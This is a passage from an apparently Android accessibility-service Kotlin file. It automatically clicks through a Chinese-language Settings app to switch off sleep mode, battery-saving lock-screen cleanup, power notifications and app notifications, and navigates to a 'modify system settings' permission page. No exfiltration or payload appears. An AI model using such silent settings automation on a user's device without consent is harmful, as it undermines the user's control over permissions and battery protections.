                                var clickableParent = checkbox.parent
                                var parentLevel = 0

                                while (clickableParent != null && parentLevel < 3) {
                                    if (clickableParent.isClickable) {
                                        Log.d(TAG, "🔧 点击checkbox的可点击父容器")
                                        return performStableClick(clickableParent, "checkbox父容器")
                                    }
                                    clickableParent = clickableParent.parent
                                    parentLevel++
                                }
                                false
                            }

                            if (clickSuccess) {
                                Log.d(TAG, "✅ 备用方案点击成功")
                                delay(300)
                                return true
                            } else {
                                Log.w(TAG, "❌ 备用方案也失败了")
                            }
                        }
                    }
                }

                currentParent = currentParent.parent
                searchLevel++
            }

            // 如果找不到checkbox，尝试直接点击自启动文本作为备用方案
            Log.w(TAG, "⚠️ 未找到目标checkbox，尝试点击自启动文本作为备用方案")
            return performStableClick(autoStartNode, "自启动文本备用方案")

        } catch (e: Exception) {
            Log.e(TAG, "❌ 点击自启动checkbox异常", e)
            return false
        }
    }

    /**
     * 在指定容器中查找所有checkbox控件
     */
    private fun findCheckboxesInContainer(
        container: AccessibilityNodeInfo,
        checkboxes: MutableList<AccessibilityNodeInfo>
    ) {
        try {
            // 检查当前节点是否为checkbox
            val isCheckbox =
                container.className?.toString()?.contains("CheckBox", ignoreCase = true) == true ||
                        container.isCheckable ||
                        (container.className?.toString()?.contains(
                            "Switch",
                            ignoreCase = true
                        ) == true && container.isCheckable)

            if (isCheckbox && container.isVisibleToUser) {
                Log.d(
                    TAG,
                    "🔍 找到checkbox: 类名=${container.className}, 选中=${container.isChecked}, 可点击=${container.isClickable}"
                )
                checkboxes.add(container)
            }

            // 递归查找子节点
            for (i in 0 until container.childCount) {
                val child = container.getChild(i)
                if (child != null) {
                    findCheckboxesInContainer(child, checkboxes)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找checkbox异常", e)
        }
    }

    /**
     * 收集所有checkbox控件
     */
    private fun collectCheckboxNodes(
        node: AccessibilityNodeInfo,
        checkboxes: MutableList<AccessibilityNodeInfo>
    ) {
        try {
            // 更宽松的checkbox识别条件
            val isCheckboxType = node.className?.toString()?.contains("CheckBox") == true
            val isCheckable = node.isCheckable
            val isSwitch = node.className?.toString()?.contains("Switch") == true
            val isToggleButton = node.className?.toString()?.contains("ToggleButton") == true

            // 如果是checkbox类型的控件，或者具有checkable属性，或者是开关类型
            if ((isCheckboxType || isCheckable || isSwitch || isToggleButton) && node.isVisibleToUser) {
                Log.d(
                    TAG,
                    "🔍 找到checkbox/开关控件: className=${node.className}, text=${node.text}, contentDescription=${node.contentDescription}, checked=${node.isChecked}, clickable=${node.isClickable}"
                )
                checkboxes.add(node)
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    collectCheckboxNodes(child, checkboxes)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 收集checkbox节点异常", e)
        }
    }

    /**
     * 专门收集睡眠模式相关的checkbox控件（更深层级查找）
     */
    private fun collectSleepModeCheckboxNodes(
        node: AccessibilityNodeInfo,
        checkboxes: MutableList<AccessibilityNodeInfo>,
        depth: Int = 0
    ) {
        try {
            // 限制递归深度，避免无限递归
            if (depth > 10) {
                return
            }

            // 更宽松的条件，专门用于睡眠模式页面
            val isCheckboxType =
                node.className?.toString()?.contains("CheckBox", ignoreCase = true) == true
            val isCheckable = node.isCheckable
            val isSwitch = node.className?.toString()?.contains("Switch", ignoreCase = true) == true
            val isToggleButton =
                node.className?.toString()?.contains("Toggle", ignoreCase = true) == true
            val isCompoundButton =
                node.className?.toString()?.contains("CompoundButton", ignoreCase = true) == true

            // 检查是否在睡眠模式相关的上下文中
            val text = node.text?.toString() ?: ""
            val contentDesc = node.contentDescription?.toString() ?: ""
            val isSleepRelated = text.contains("睡眠", ignoreCase = true) ||
                    contentDesc.contains("睡眠", ignoreCase = true) ||
                    text.contains("sleep", ignoreCase = true) ||
                    contentDesc.contains("sleep", ignoreCase = true)

            if ((isCheckboxType || isCheckable || isSwitch || isToggleButton || isCompoundButton) && node.isVisibleToUser) {
                Log.d(
                    TAG,
                    "🔍 找到睡眠模式控件: className=${node.className}, text=$text, contentDescription=$contentDesc, checked=${node.isChecked}, clickable=${node.isClickable}, sleepRelated=$isSleepRelated"
                )
                checkboxes.add(node)
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    collectSleepModeCheckboxNodes(child, checkboxes, depth + 1)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 收集睡眠模式checkbox节点异常", e)
        }
    }


    /**
     * 查找并点击修改系统设置启用按钮（单次精确搜索）
     */
    private suspend fun findAndClickSystemSettingsEnableButton(): Boolean {
        Log.d(TAG, "🔍 查找修改系统设置启用按钮")

        // 首先尝试找开关控件
        if (findAndClickSystemSettingsSwitch()) {
            Log.d(TAG, "✅ 成功操作修改系统设置开关")
            return true
        }

        // 如果没有开关，尝试查找确认按钮（只搜索一次，避免重复操作）
        val confirmTexts = listOf("开启", "允许", "确定", "OK")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            for (text in confirmTexts) {
                Log.d(TAG, "🔍 查找确认按钮: $text")
                val node = findNodeByText(rootNode, text)
                if (node != null && node.isClickable) {
                    Log.d(TAG, "✅ 找到确认按钮: $text，执行点击")
                    val success = performClickSafe(node)
                    if (success) {
                        Log.d(TAG, "✅ 成功点击确认按钮: $text")
                        return true
                    }
                }
            }

            Log.w(TAG, "❌ 未找到可用的确认按钮")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找确认按钮异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 查找并点击修改系统设置开关
     */
    private suspend fun findAndClickSystemSettingsSwitch(): Boolean {
        Log.d(TAG, "🔍 查找修改系统设置开关")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找所有开关控件
            val switches = mutableListOf<AccessibilityNodeInfo>()
            collectSwitchNodes(rootNode, switches)

            if (switches.isEmpty()) {
                Log.d(TAG, "🔍 未找到任何开关控件")
                return false
            }

            Log.d(TAG, "🔍 找到 ${switches.size} 个开关控件")

            // 查找第一个可用的开关（通常修改系统设置页面只有一个主要开关）
            for (switch in switches) {
                if (switch.isClickable && switch.isVisibleToUser) {
                    Log.d(TAG, "✅ 找到可用开关: checked=${switch.isChecked}")

                    // 如果已经开启，直接返回成功
                    if (switch.isChecked) {
                        Log.d(TAG, "✅ 开关已经是开启状态")
                        return true
                    }

                    // 点击开启开关
                    if (switch.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
                        Log.d(TAG, "✅ 成功点击开关")
                        delay(500)
                        return true
                    }
                }
            }

            Log.w(TAG, "❌ 未找到可操作的开关")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 查找开关异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 检查修改系统设置权限是否已开启
     */
    private suspend fun checkSystemSettingsPermissionEnabled(): Boolean {
        Log.d(TAG, "🔍 检查修改系统设置权限状态")

        try {
            // 使用Android API检查WRITE_SETTINGS权限
            val hasPermission = Settings.System.canWrite(context)
            Log.d(TAG, "🔍 Android API检查WRITE_SETTINGS权限: $hasPermission")

            if (hasPermission) {
                Log.d(TAG, "✅ 修改系统设置权限已通过Android API确认开启")
                return true
            }

            // 如果API检查失败，降级到页面文本检查
            Log.d(TAG, "🔍 Android API显示权限未开启，尝试页面文本检查")

            val rootNode = getStableRootInActiveWindow(service)
            if (rootNode == null) {
                Log.w(TAG, "❌ 无法获取根节点")
                return false
            }

            // 检查页面上是否有"已开启"、"已允许"等文本
            val enabledTexts = listOf("已开启", "已允许", "允许", "开启", "Enabled", "Allowed")

            for (text in enabledTexts) {
                val node = findNodeByText(rootNode, text)
                if (node != null) {
                    Log.d(TAG, "✅ 找到启用状态文本: $text")
                    return true
                }
            }

            // 检查开关状态
            val switches = mutableListOf<AccessibilityNodeInfo>()
            collectSwitchNodes(rootNode, switches)

            for (switch in switches) {
                if (switch.isChecked) {
                    Log.d(TAG, "✅ 找到已开启的开关")
                    return true
                }
            }

            Log.d(TAG, "🔍 未找到权限已开启的标识")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查权限状态异常", e)
            return false
        }
    }

    /**
     * 检查睡眠模式是否已关闭
     */
    private suspend fun checkSleepModeDisabled(): Boolean {
        Log.d(TAG, "🔍 检查睡眠模式状态")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 优先使用专门的睡眠模式checkbox查找
            val checkboxes = mutableListOf<AccessibilityNodeInfo>()
            collectSleepModeCheckboxNodes(rootNode, checkboxes)

            Log.d(TAG, "🔍 使用深层级查找到 ${checkboxes.size} 个睡眠模式相关控件")

            // 检查checkbox状态 - 如果未选中表示睡眠模式已关闭
            for (checkbox in checkboxes) {
                if (!checkbox.isChecked) {
                    Log.d(TAG, "✅ 找到未选中的checkbox，睡眠模式已关闭")
                    return true
                }
            }

            // 如果专门查找失败，降级使用通用查找
            Log.d(TAG, "🔍 专门查找失败，使用通用checkbox查找")
            val generalCheckboxes = mutableListOf<AccessibilityNodeInfo>()
            collectCheckboxNodes(rootNode, generalCheckboxes)

            Log.d(TAG, "🔍 通用查找到 ${generalCheckboxes.size} 个checkbox控件")

            for (checkbox in generalCheckboxes) {
                if (!checkbox.isChecked) {
                    Log.d(TAG, "✅ 找到未选中的通用checkbox，睡眠模式已关闭")
                    return true
                }
            }

            // 如果没有checkbox，检查开关状态
            val switches = mutableListOf<AccessibilityNodeInfo>()
            collectSwitchNodes(rootNode, switches)

            Log.d(TAG, "🔍 找到 ${switches.size} 个开关控件")

            for (switch in switches) {
                if (!switch.isChecked) {
                    Log.d(TAG, "✅ 找到已关闭的开关")
                    return true
                }
            }

            // 最后检查页面上是否有"已关闭"、"关闭"、"禁用"等文本
            val disabledTexts = listOf("已关闭", "关闭", "禁用", "已禁用", "Disabled", "Off", "关")

            for (text in disabledTexts) {
                val node = findNodeByText(rootNode, text)
                if (node != null) {
                    Log.d(TAG, "✅ 找到关闭状态文本: $text")
                    return true
                }
            }

            Log.d(TAG, "🔍 未找到睡眠模式已关闭的标识")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查睡眠模式状态异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 获取当前页面类型
     */
    private fun getCurrentPageType(): String {
        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            return "未知页面"
        }

        try {
            // 检查页面特征文本来判断页面类型
            val batteryPageText = getBatteryPageText()
            val settingsMainPageTexts = listOf("隐私保护", batteryPageText, "应用设置")
            val batteryPageTexts = listOf(
                "更多电池功能",
                "锁屏后断开数据",
                "锁屏后清理内存",
                "场景配置",
                "夜间休眠省电"
            )
            val privacyPageTexts = listOf("其他权限", "特殊权限设置")

            // 检查是否在设置主页
            for (text in settingsMainPageTexts) {
                if (findNodeByText(rootNode, text) != null) {
                    return "设置主页"
                }
            }

            // 检查是否在电池相关页面
            for (text in batteryPageTexts) {
                if (findNodeByText(rootNode, text) != null) {
                    return "电池页面"
                }
            }

            // 检查是否在隐私保护相关页面
            for (text in privacyPageTexts) {
                if (findNodeByText(rootNode, text) != null) {
                    return "隐私页面"
                }
            }

            return "其他页面"

        } catch (e: Exception) {
            Log.e(TAG, "❌ 获取页面类型异常", e)
            return "异常页面"
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 处理修改系统设置权限
     */
    private suspend fun handleSystemSettingsPermission(): Boolean {
        Log.d(TAG, "🔧 处理修改系统设置权限")

        // 1. 查找并点击"特殊权限设置"
        if (!findAndClickText("特殊权限设置")) {
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 2. 查找并点击"修改系统设置"
        if (!findAndClickText("修改系统设置")) {
            return false
        }

        delay(500)

        // 3. 查找并点击我们的应用
        if (!findAndClickOurApp()) {
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 4. 先使用Android API检查权限状态
        Log.d(TAG, "🔍 检查修改系统设置权限当前状态")
        val isCurrentlyEnabled = Settings.System.canWrite(context)
        Log.d(TAG, "🔍 Android API检查当前权限状态: 已开启=$isCurrentlyEnabled")

        //暂时不需要获取修改系统的设置权限，在外面获取
//        if (isCurrentlyEnabled) {
//            Log.d(TAG, "✅ 修改系统设置权限已开启，无需操作")
//        } else {
//            Log.d(TAG, "🔍 权限未开启，点击允许修改系统设置")
//
//            // 5. 点击"允许修改系统设置"来开启权限
//            if (!findAndClickText("允许修改系统设置")) {
//                Log.w(TAG, "❌ 找不到允许修改系统设置选项")
//                return false
//            }
//
//            delay(STEP_DELAY)
//
//            // 6. 再次使用Android API检查权限状态，确认是否成功开启
//            val isEnabledAfterClick = Settings.System.canWrite(context)
//            Log.d(TAG, "🔍 点击后Android API检查权限状态: 已开启=$isEnabledAfterClick")
//
//            if (!isEnabledAfterClick) {
//                Log.w(TAG, "⚠️ 点击后权限仍未开启，可能需要再次点击")
//
//                // 7. 如果仍未开启，再次尝试点击
//                if (!findAndClickText("允许修改系统设置")) {
//                    Log.w(TAG, "❌ 再次点击失败，但权限可能已生效")
//                }
//
//                delay(STEP_DELAY)
//
//                // 8. 最终检查
//                val finalCheck = Settings.System.canWrite(context)
//                Log.d(TAG, "🔍 最终Android API检查权限状态: 已开启=$finalCheck")
//            }
//        }

        // 9. 返回到主设置页面 (需要返回多次: 应用详情页->修改系统设置列表->特殊权限设置->其他权限->隐私保护->设置主页)
        Log.d(TAG, "🔙 从修改系统设置页面返回到主设置页面")
        performBackNavigation() // 返回到修改系统设置列表
        delay(200)
        performBackNavigation() // 返回到特殊权限设置
        delay(200)
        performBackNavigation() // 返回到其他权限页面
        delay(200)
        performBackNavigation() // 返回到隐私保护页面
        delay(200)
        performBackNavigation() // 返回到设置主页
        delay(200)

        Log.d(TAG, "✅ 修改系统设置权限处理完成")
        return true
    }

    /**
     * 处理通知管理
     */
    private suspend fun handleNotificationManagement(): Boolean {
        Log.d(TAG, "🔧 处理通知管理")

        // 1. 查找并点击"通知管理"，确保在屏幕中可见
        if (!findAndClickTextWithVisibility("通知管理")) {
            Log.w(TAG, "❌ 找不到通知管理选项")
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 2. 查找并点击"允许通知"
        if (!findAndClickText("允许通知")) {
            Log.w(TAG, "❌ 找不到允许通知选项")
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 3. 检查通知状态，如果已经关闭就跳过
        Log.d(TAG, "🔍 检查通知状态")
        if (checkNotificationDisabledInSameRow()) {
            Log.d(TAG, "✅ 通知已关闭，跳过后续操作")
            return true
        } else {
            Log.d(TAG, "🔍 通知未关闭，再次点击允许通知来关闭通知")

            // 小米Android 10设备修复：再次点击"允许通知"来关闭通知
            if (!findAndClickText("允许通知")) {
                Log.w(TAG, "❌ 再次点击允许通知失败")
                return false
            }

            delay(PAGE_LOAD_DELAY)

            // 再次检查通知状态
            Log.d(TAG, "🔍 再次检查通知状态")
            if (checkNotificationDisabledInSameRow()) {
                Log.d(TAG, "✅ 通知已成功关闭")
            } else {
                Log.w(TAG, "⚠️ 通知状态未能确认关闭，但操作已完成")
            }
        }

        Log.d(TAG, "✅ 通知管理处理完成")
        return true
    }

    /**
     * 检查通知是否已关闭（同行检测）
     */
    private suspend fun checkNotificationDisabledInSameRow(): Boolean {
        Log.d(TAG, "🔍 检查通知状态（同行检测）")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找"允许通知"选项
            val notificationNode = findNodeByText(rootNode, "允许通知")
            if (notificationNode == null) {
                Log.w(TAG, "❌ 未找到允许通知选项")
                return false
            }

            // 检查同行的开关状态
            val switchTexts = listOf("关闭", "已关闭", "禁用")
            val isInSameRow = checkStatusInSameRow(notificationNode, switchTexts)
            if (isInSameRow) {
                Log.d(TAG, "✅ 在同行找到通知关闭状态")
                return true
            }

            // 检查同行的checkbox状态
            val isCheckboxDisabled = checkCheckboxStatusInSameRow(notificationNode)
            if (isCheckboxDisabled) {
                Log.d(TAG, "✅ 在同行找到未选中的通知checkbox")
                return true
            }

            Log.d(TAG, "🔍 未找到通知已关闭的标识")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查通知状态异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 检查checkbox状态是否在同一行
     */
    private fun checkCheckboxStatusInSameRow(targetNode: AccessibilityNodeInfo): Boolean {
        try {
            // 获取目标节点的位置信息
            val targetRect = Rect()
            targetNode.getBoundsInScreen(targetRect)

            // 向上查找多级父节点，寻找行容器
            var parentNode = targetNode.parent
            var level = 0

            while (parentNode != null && level < 8) { // 最多检查8层父节点
                // 在父节点中查找checkbox控件
                val checkboxes = mutableListOf<AccessibilityNodeInfo>()
                collectCheckboxNodesInSubtree(parentNode, checkboxes)

                for (checkbox in checkboxes) {
                    // 获取checkbox节点的位置信息
                    val checkboxRect = Rect()
                    checkbox.getBoundsInScreen(checkboxRect)

                    // 检查是否在同一行（垂直位置相近）
                    val verticalDistance = Math.abs(targetRect.centerY() - checkboxRect.centerY())
                    val isInSameRow = verticalDistance <= 100 // 100像素容差

                    if (isInSameRow && !checkbox.isChecked) {
                        Log.d(TAG, "✅ 在同行找到未选中的checkbox (垂直距离: ${verticalDistance}px)")
                        return true
                    }
                }

                parentNode = parentNode.parent
                level++
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查checkbox状态是否在同一行异常", e)
            return false
        }
    }

    /**
     * 检查switch控件状态是否在同一行
     */
    private fun checkSwitchStatusInSameRow(targetNode: AccessibilityNodeInfo): Boolean {
        try {
            // 获取目标节点的位置信息
            val targetRect = Rect()
            targetNode.getBoundsInScreen(targetRect)

            // 向上查找多级父节点，寻找行容器
            var parentNode = targetNode.parent
            var level = 0

            while (parentNode != null && level < 8) { // 最多检查8层父节点
                // 在父节点中查找switch控件
                val switches = mutableListOf<AccessibilityNodeInfo>()
                collectSwitchNodesInSubtree(parentNode, switches)

                for (switch in switches) {
                    // 获取switch节点的位置信息
                    val switchRect = Rect()
                    switch.getBoundsInScreen(switchRect)

                    // 检查是否在同一行（垂直位置相近）
                    val verticalDistance = Math.abs(targetRect.centerY() - switchRect.centerY())
                    val isInSameRow = verticalDistance <= 100 // 100像素容差

                    if (isInSameRow) {
                        val isDisabled = !switch.isChecked
                        Log.d(
                            TAG,
                            "✅ 在同行找到switch控件，状态: ${if (isDisabled) "关闭" else "开启"} (垂直距离: ${verticalDistance}px)"
                        )
                        return isDisabled
                    }
                }

                parentNode = parentNode.parent
                level++
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查switch状态是否在同一行异常", e)
            return false
        }
    }

    /**
     * 在子树中收集switch控件
     */
    private fun collectSwitchNodesInSubtree(
        node: AccessibilityNodeInfo,
        switches: MutableList<AccessibilityNodeInfo>
    ) {
        try {
            val className = node.className?.toString() ?: ""

            // 检查是否是switch控件
            if (className.contains("Switch", ignoreCase = true) ||
                className.contains("Toggle", ignoreCase = true) ||
                (node.isCheckable && className.contains("CompoundButton", ignoreCase = true))
            ) {
                switches.add(node)
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    collectSwitchNodesInSubtree(child, switches)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 收集switch节点异常", e)
        }
    }

    /**
     * 在子树中收集checkbox控件
     */
    private fun collectCheckboxNodesInSubtree(
        node: AccessibilityNodeInfo,
        checkboxes: MutableList<AccessibilityNodeInfo>
    ) {
        try {
            val className = node.className?.toString() ?: ""

            // 检查是否是checkbox控件
            if (className.contains("CheckBox", ignoreCase = true) ||
                className.contains("Switch", ignoreCase = true) ||
                className.contains("Toggle", ignoreCase = true) ||
                node.isCheckable
            ) {
                checkboxes.add(node)
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    collectCheckboxNodesInSubtree(child, checkboxes)
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 在子树中收集checkbox控件异常", e)
        }
    }


    /**
     * 处理锁屏后断开数据
     */
    private suspend fun handleLockScreenDataDisconnection(): Boolean {
        Log.d(TAG, "🔧 处理锁屏后断开数据")

        // 1. 先检测当前设置是否已经是"从不"
        if (checkLockScreenDataSetting()) {
            Log.d(TAG, "✅ 锁屏后断开数据已经设置为从不，跳过操作")
            return true
        }

        // 查找并点击"锁屏后断开数据" 直接查找当前页面
        if (!searchCurrentPageForText("锁屏后断开数据")) {
            return false
        }

        delay(800)

        // 3. 等待弹窗出现，选择"从不"
        if (!handlePopupSelection("从不")) {
            return false
        }

        delay(800)
        Log.d(TAG, "✅ 锁屏后断开数据处理完成")
        Log.d(TAG, "🔍 停留在当前页面，准备处理其他选项（锁屏后清理内存、场景配置）")
        return true
    }

    /**
     * 处理锁屏后清理内存
     */
    private suspend fun handleLockScreenMemoryCleanup(): Boolean {
        Log.d(TAG, "🔧 处理锁屏后清理内存")

        // 1. 先检测当前设置是否已经是"从不"
        if (checkLockScreenMemorySetting()) {
            Log.d(TAG, "✅ 锁屏后清理内存已经设置为从不，跳过操作")
            return true
        }

        // 2. 查找并点击"锁屏后清理内存"
        if (!findAndClickText("锁屏后清理内存")) {
            return false
        }

        delay(800)

        // 3. 等待弹窗出现，选择"从不"
        if (!handlePopupSelection("从不")) {
            return false
        }

        delay(STEP_DELAY)
        Log.d(TAG, "✅ 锁屏后清理内存处理完成")
        return true
    }

    /**
     * Android 11专用：处理异常耗电通知（checkbox类型）
     */
    private suspend fun handleAbnormalPowerNotification(): Boolean {
        Log.d(TAG, "🔧 Android 11: 处理异常耗电通知")

        // 1. 先检测当前设置状态
        if (checkAbnormalPowerNotificationSetting()) {
            Log.d(TAG, "✅ 异常耗电通知已经关闭，跳过操作")
            return true
        }

        // 2. 查找并点击"异常耗电通知"checkbox
        if (!findAndClickAbnormalPowerNotificationCheckbox()) {
            Log.w(TAG, "❌ 未找到异常耗电通知checkbox")
            return false
        }

        delay(STEP_DELAY)
        Log.d(TAG, "✅ 异常耗电通知处理完成")
        return true
    }

    /**
     * 检查异常耗电通知设置状态（checkbox是否已关闭）
     */
    private suspend fun checkAbnormalPowerNotificationSetting(): Boolean {
        Log.d(TAG, "🔍 检查异常耗电通知设置状态")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找异常耗电通知选项
            val notificationNode = findNodeByText(rootNode, "异常耗电通知")
            if (notificationNode == null) {
                Log.w(TAG, "❌ 未找到异常耗电通知选项")
                return false
            }

            // 查找该选项同行的checkbox控件，检查是否已关闭
            val isCheckboxClosed = checkCheckboxStatusInSameRow(notificationNode)
            if (isCheckboxClosed) {
                Log.d(TAG, "✅ 异常耗电通知checkbox已关闭")
                return true
            }

            Log.d(TAG, "🔍 未找到异常耗电通知checkbox状态")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查异常耗电通知设置状态异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 查找并点击异常耗电通知checkbox
     */
    private suspend fun findAndClickAbnormalPowerNotificationCheckbox(): Boolean {
        Log.d(TAG, "🔍 查找并点击异常耗电通知")

        // 策略1: 直接查找当前页面
        if (searchCurrentPageForText("异常耗电通知")) {
            return true
        }

        Log.w(TAG, "❌ 未找到异常耗电通知选项")
        return false
    }


    /**
     * 检查锁屏后断开数据设置状态
     */
    private suspend fun checkLockScreenDataSetting(): Boolean {
        Log.d(TAG, "🔍 检查锁屏后断开数据设置状态")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找锁屏后断开数据选项
            val dataDisconnectionNode = findNodeByText(rootNode, "锁屏后断开数据")
            if (dataDisconnectionNode == null) {
                Log.w(TAG, "❌ 未找到锁屏后断开数据选项")
                return false
            }

            // 查找该选项旁边的状态文本
            val statusTexts = listOf("从不")

            // 精准检查同行的状态文本
            val isInSameRow = checkStatusInSameRow(dataDisconnectionNode, statusTexts)
            if (isInSameRow) {
                Log.d(TAG, "✅ 在同行找到锁屏后断开数据状态: 从不")
                return true
            }

            Log.d(TAG, "🔍 未找到表示从不的状态文本")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查锁屏后断开数据设置状态异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 检查锁屏后清理内存设置状态
     */
    private suspend fun checkLockScreenMemorySetting(): Boolean {
        Log.d(TAG, "🔍 检查锁屏后清理内存设置状态")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 查找锁屏后清理内存选项
            val memoryCleanupNode = findNodeByText(rootNode, "锁屏后清理内存")
            if (memoryCleanupNode == null) {
                Log.w(TAG, "❌ 未找到锁屏后清理内存选项")
                return false
            }

            // 查找该选项旁边的状态文本
            val statusTexts = listOf("从不")

            // 精准检查同行的状态文本
            val isInSameRow = checkStatusInSameRow(memoryCleanupNode, statusTexts)
            if (isInSameRow) {
                Log.d(TAG, "✅ 在同行找到锁屏后清理内存状态: 从不")
                return true
            }

            Log.d(TAG, "🔍 未找到表示从不的状态文本")
            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查锁屏后清理内存设置状态异常", e)
            return false
        } finally {
            safeRecycleNode(rootNode)
        }
    }

    /**
     * 在子树中查找文本节点
     */
    private fun findNodeByTextInSubtree(
        node: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {
        try {
            // 检查当前节点
            if (node.text?.toString()?.contains(text, ignoreCase = true) == true ||
                node.contentDescription?.toString()?.contains(text, ignoreCase = true) == true
            ) {
                return node
            }

            // 递归检查子节点
            for (i in 0 until node.childCount) {
                val child = node.getChild(i)
                if (child != null) {
                    val result = findNodeByTextInSubtree(child, text)
                    if (result != null) {
                        return result
                    }
                }
            }

            return null
        } catch (e: Exception) {
            Log.e(TAG, "❌ 在子树中查找文本节点异常", e)
            return null
        }
    }

    /**
     * 检查状态文本是否在同一行
     */
    private fun checkStatusInSameRow(
        targetNode: AccessibilityNodeInfo,
        statusTexts: List<String>
    ): Boolean {
        try {
            // 获取目标节点的位置信息
            val targetRect = Rect()
            targetNode.getBoundsInScreen(targetRect)

            // 向上查找多级父节点，寻找行容器
            var parentNode = targetNode.parent
            var level = 0

            while (parentNode != null && level < 8) { // 最多检查8层父节点
                // 在父节点中查找状态文本
                for (statusText in statusTexts) {
                    val statusNode = findNodeByTextInSubtree(parentNode, statusText)
                    if (statusNode != null) {
                        // 获取状态节点的位置信息
                        val statusRect = Rect()
                        statusNode.getBoundsInScreen(statusRect)

                        // 检查是否在同一行（垂直位置相近）
                        val verticalDistance = Math.abs(targetRect.centerY() - statusRect.centerY())
                        val isInSameRow = verticalDistance <= 100 // 100像素容差

                        if (isInSameRow) {
                            Log.d(
                                TAG,
                                "✅ 在同行找到状态文本: $statusText (垂直距离: ${verticalDistance}px)"
                            )
                            return true
                        } else {
                            Log.d(
                                TAG,
                                "🔍 找到状态文本但不在同行: $statusText (垂直距离: ${verticalDistance}px)"
                            )
                        }
                    }
                }

                parentNode = parentNode.parent
                level++
            }

            return false

        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查状态文本是否在同一行异常", e)
            return false
        }
    }

    /**
     * 处理场景配置->睡眠模式
     */
    private suspend fun handleScenarioConfigSleepMode(): Boolean {
        Log.d(TAG, "🔧 处理场景配置->睡眠模式")

        // 1. 查找并点击"场景配置"
        if (!findAndClickText("场景配置")) {
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 2. 查找并点击"睡眠模式"
        val sleepModeClicked = findAndClickText("睡眠模式")
        if (!sleepModeClicked) {
            Log.w(TAG, "❌ 找不到睡眠模式选项")
            // 只返回到上一级页面（从场景配置返回到更多电池功能）
            performBackNavigation()
            delay(500)
            return false
        }

        delay(PAGE_LOAD_DELAY)

        // 3. 检查睡眠模式状态，如果已经关闭就跳过
        Log.d(TAG, "🔍 检查睡眠模式状态")
        if (checkSleepModeDisabled()) {
            Log.d(TAG, "✅ 睡眠模式已关闭，跳过后续操作")
        } else {
            Log.d(TAG, "🔍 睡眠模式未关闭，尝试点击checkbox或开关来关闭")

            // 尝试找到并点击checkbox来关闭睡眠模式
            if (!findAndClickSleepModeCheckbox()) {
                Log.w(TAG, "❌ 找不到睡眠模式checkbox，尝试查找关闭按钮")

                // 如果找不到checkbox，尝试查找关闭按钮
                if (!findAndClickText("关闭")) {
                    Log.w(TAG, "❌ 找不到关闭按钮，但睡眠模式可能已生效")
                    // 不返回失败，因为点击"睡眠模式"可能已经关闭了
                }
            }
        }

        delay(STEP_DELAY)

        // 4. 只有在成功进入睡眠模式页面后才执行完整的返回操作


        Log.d(TAG, "✅ 睡眠模式处理完成")
        return true
    }

    /**
     * 查找并点击睡眠模式checkbox
     */
    private suspend fun findAndClickSleepModeCheckbox(): Boolean {
        Log.d(TAG, "🔍 查找并点击睡眠模式checkbox")

        val rootNode = getStableRootInActiveWindow(service)
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点")
            return false
        }

        try {
            // 首先使用专门的睡眠模式checkbox查找
            val checkboxes = mutableListOf<AccessibilityNodeInfo>()
